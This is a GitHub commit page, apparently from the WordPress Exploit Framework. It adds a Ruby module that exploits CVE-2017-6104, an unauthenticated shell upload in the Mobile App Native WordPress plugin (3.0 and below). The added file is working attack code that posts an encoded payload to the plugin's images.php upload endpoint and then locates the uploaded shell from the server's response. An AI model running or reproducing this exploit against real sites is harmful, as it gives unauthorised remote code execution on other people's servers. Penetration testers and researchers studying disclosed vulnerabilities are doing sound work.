Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 2e6bb67

Browse files
committed
Add Mobile App Native <= 3.0 unauthenticated shell upload
1 parent a06e17c commit 2e6bb67

File tree

1 file changed

+40
-0
lines changed

1 file changed

+40
-0
lines changed
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
class Wpxf::Exploit::MobileAppNativeV3ShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ShellUpload
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Mobile App Native <= 3.0 Unauthenticated Shell Upload',
9+
author: [
10+
'Larry W. Cashdollar', # Discovery and disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8743'],
15+
['CVE', '2017-6104'],
16+
['URL', 'http://www.vapidlabs.com/advisory.php?v=178']
17+
],
18+
date: 'Feb 27 2017'
19+
)
20+
end
21+
22+
def check
23+
:unknown
24+
end
25+
26+
def uploader_url
27+
normalize_uri(wordpress_url_plugins, 'zen-mobile-app-native', 'server', 'images.php')
28+
end
29+
30+
def payload_body_builder
31+
builder = Utility::BodyBuilder.new
32+
builder.add_file_from_string('file', payload.encoded, payload_name)
33+
builder
34+
end
35+
36+
def uploaded_payload_location
37+
return nil if upload_result.code != 200 || upload_result.body =~ /Ooops.*/i
38+
upload_result.body.gsub(/zen-mobile-app-native\/\/server/, 'zen-mobile-app-native/server').strip
39+
end
40+
end

0 commit comments

Comments
 (0)